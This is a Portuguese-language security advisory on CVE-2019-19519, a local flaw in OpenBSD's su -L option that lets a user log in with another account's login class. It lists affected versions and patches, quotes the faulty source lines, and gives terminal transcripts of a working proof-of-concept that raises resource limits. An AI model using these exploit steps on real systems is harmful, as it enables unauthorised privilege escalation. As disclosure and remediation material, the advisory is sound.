ASA-2019-00650 – OpenBSD: Escalação de privilégios via comando su


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00650

Identificador(es)

ASA-2019-00650, CVE-2019-19519

Título

Escalação de privilégios via comando su

Fabricante(s)

The OpenBSD Project

Produto(s)

OpenBSD

Versão(ões) afetada(s)

OpenBSD versões 6.6 anteriores a errata 012
OpenBSD versões 6.5 anteriores a errata 023

Versão(ões) corrigida(s)

OpenBSD versão 6.6 errata 012
OpenBSD versão 6.5 errata 023

OpenBSD versões 6.6 com o seguinte patch aplicado:

012_suauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/012_suauth.patch.sig

OpenBSD versions 6.5 com o seguinte patch aplicado:

023_suauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/023_suauth.patch.sig

Prova de Conceito

Sim

Descrição

Um atacante local pode explorar a opção -L do su (“Fazer loop até que uma combinação correta de nome de usuário e senha seja inserida”) para efetuar login como eles mesmos, mas com a classe de login de outro usuário (com exceção da classe de login de root, se o atacante não estiver no grupo “wheel”), porque a variável classe é definida uma vez e nunca é redefinida.

Detalhes técnicos

60 int
61 main(int argc, char **argv)
62 {
...
174 for (;;) {
...
210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211 class = strdup(pwd->pw_class);

No exemplo a seguir, Jane (que é membro do grupo “wheel”) efetua login com a classe de login do root (“daemon”), aumentando assim seus limites de recursos:

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes 512

$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes 1310

No exemplo a seguir, John (que não é membro do grupo “wheel”) efetua login com a classe de login de _pbuild (“pbuild”), aumentando assim seus limites de recursos:

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes) 786432
...
processes 256

$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes) 33554432
...
processes 1024

Créditos

Qualys Research Team

Referência(s)

OpenBSD 6.6 Errata
https://www.openbsd.org/errata66.html

OpenBSD 6.5 Errata
https://www.openbsd.org/errata65.html

012_suauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/012_suauth.patch.sig

023_suauth.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/6.5/common/023_suauth.patch.sig

In -L (loop) mode, reset the login class each time through the loop.
https://github.com/openbsd/src/commit/13053edc2f30540fa66763e29d0a8eec43f1aa53

oss-security – Authentication vulnerabilities in OpenBSD
https://www.openwall.com/lists/oss-security/2019/12/04/5

Full Disclosure: Authentication vulnerabilities in OpenBSD
https://seclists.org/fulldisclosure/2019/Dec/14

Bugtraq: Authentication vulnerabilities in OpenBSD
https://seclists.org/bugtraq/2019/Dec/8

CVE-2019-19519
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19519

CVE-2019-19519
https://nvd.nist.gov/vuln/detail/CVE-2019-19519

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 16 dezembro 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.